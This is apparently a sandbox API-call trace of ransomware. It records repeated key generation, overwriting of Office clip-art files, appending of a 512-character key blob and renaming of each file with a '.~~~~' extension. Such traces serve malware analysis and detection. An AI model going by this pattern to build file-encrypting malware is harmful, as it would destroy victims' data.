	[0124.492] GetLastError () returned 0x0
	[0124.574] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff9d1d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.574] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x62e3, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x62e3, lpOverlapped=0x0) returned 1
	[0124.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0124.598] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.598] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.598] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.598] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.599] CloseHandle (hObject=0x128) returned 1
	[0124.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf978
	[0124.599] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg.~~~~")) returned 1
	[0124.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bf978 | out: hHeap=0x300000) returned 1
	[0124.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0124.605] GetLastError () returned 0x0
	[0124.605] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0124.607] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0124.607] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0124.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0124.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0124.607] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24459728031) returned 1
	[0124.607] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb3bc8ab0, dwHighDateTime=0x1d60e1e)) 
	[0124.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0124.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0124.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0124.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820830
	[0124.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820830 | out: hHeap=0x300000) returned 1
	[0124.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0124.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf848
	[0124.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0124.608] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0124.608] GetLastError () returned 0x0
	[0124.609] GetLastError () returned 0x0
	[0124.609] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0124.609] GetLastError () returned 0x0
	[0124.609] GetLastError () returned 0x0
	[0124.614] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffd5ee, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.615] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x2a12, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x2a12, lpOverlapped=0x0) returned 1
	[0124.617] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0124.617] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.617] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.617] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.617] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.617] CloseHandle (hObject=0x128) returned 1
	[0124.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf848
	[0124.618] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285698.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285698.wmf.~~~~")) returned 1
	[0124.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bf848 | out: hHeap=0x300000) returned 1
	[0124.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0124.619] GetLastError () returned 0x0
	[0124.619] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0124.621] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0124.621] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.621] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0124.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0124.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0124.621] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24461093246) returned 1
	[0124.621] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb3bc8ab0, dwHighDateTime=0x1d60e1e)) 
	[0124.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0124.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0124.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0124.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820868
	[0124.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820868 | out: hHeap=0x300000) returned 1
	[0124.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0124.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bfaa8
	[0124.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0124.622] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0124.622] GetLastError () returned 0x0
	[0124.623] GetLastError () returned 0x0
	[0124.623] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0124.623] GetLastError () returned 0x0
	[0124.623] GetLastError () returned 0x0
	[0124.625] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff6a74, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.625] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x958c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x958c, lpOverlapped=0x0) returned 1
	[0124.627] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0124.627] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.627] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.627] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.627] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.628] CloseHandle (hObject=0x128) returned 1
	[0124.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bfaa8
	[0124.628] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285750.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285750.wmf.~~~~")) returned 1
	[0124.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bfaa8 | out: hHeap=0x300000) returned 1
	[0124.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0124.629] GetLastError () returned 0x0
	[0124.630] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0124.631] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0124.631] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0124.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0124.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0124.631] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24462096455) returned 1
	[0124.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb3beec10, dwHighDateTime=0x1d60e1e)) 
	[0124.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0124.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0124.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0124.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28208a0
	[0124.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28208a0 | out: hHeap=0x300000) returned 1
	[0124.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0124.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bfb40
	[0124.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0124.632] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0124.632] GetLastError () returned 0x0
	[0124.632] GetLastError () returned 0x0
	[0124.632] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0124.633] GetLastError () returned 0x0
	[0124.633] GetLastError () returned 0x0
	[0124.729] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffcbae, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.729] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x3452, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x3452, lpOverlapped=0x0) returned 1
	[0124.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0124.731] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.731] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.731] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.731] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.731] CloseHandle (hObject=0x128) returned 1
	[0124.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf8e0
	[0124.794] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285926.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285926.wmf.~~~~")) returned 1
	[0124.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bf8e0 | out: hHeap=0x300000) returned 1
	[0124.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0124.818] GetLastError () returned 0x0
	[0124.819] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0124.820] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.820] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0124.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0124.820] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24481028287) returned 1
	[0124.820] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb3db7c90, dwHighDateTime=0x1d60e1e)) 
	[0124.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0124.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0124.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0124.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820a60
	[0124.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820a60 | out: hHeap=0x300000) returned 1
	[0124.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0124.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bfbd8
	[0124.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0124.821] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0124.821] GetLastError () returned 0x0
	[0124.821] GetLastError () returned 0x0
	[0124.822] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0124.822] GetLastError () returned 0x0
	[0124.822] GetLastError () returned 0x0
	[0124.826] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffa46, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.826] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x5ba, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x5ba, lpOverlapped=0x0) returned 1
	[0124.829] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0124.829] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.829] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.829] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.829] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.829] CloseHandle (hObject=0x140) returned 1
	[0124.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bfbd8
	[0124.829] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293234.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293234.wmf.~~~~")) returned 1
	[0124.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bfbd8 | out: hHeap=0x300000) returned 1
	[0124.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0124.831] GetLastError () returned 0x0
	[0124.833] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0124.834] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.834] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0124.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0124.834] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24482414084) returned 1
	[0124.834] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb3ddddf0, dwHighDateTime=0x1d60e1e)) 
	[0124.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0124.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0124.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0124.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820a98
	[0124.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820a98 | out: hHeap=0x300000) returned 1
	[0124.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0124.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0098
	[0124.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0124.835] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0124.835] GetLastError () returned 0x0
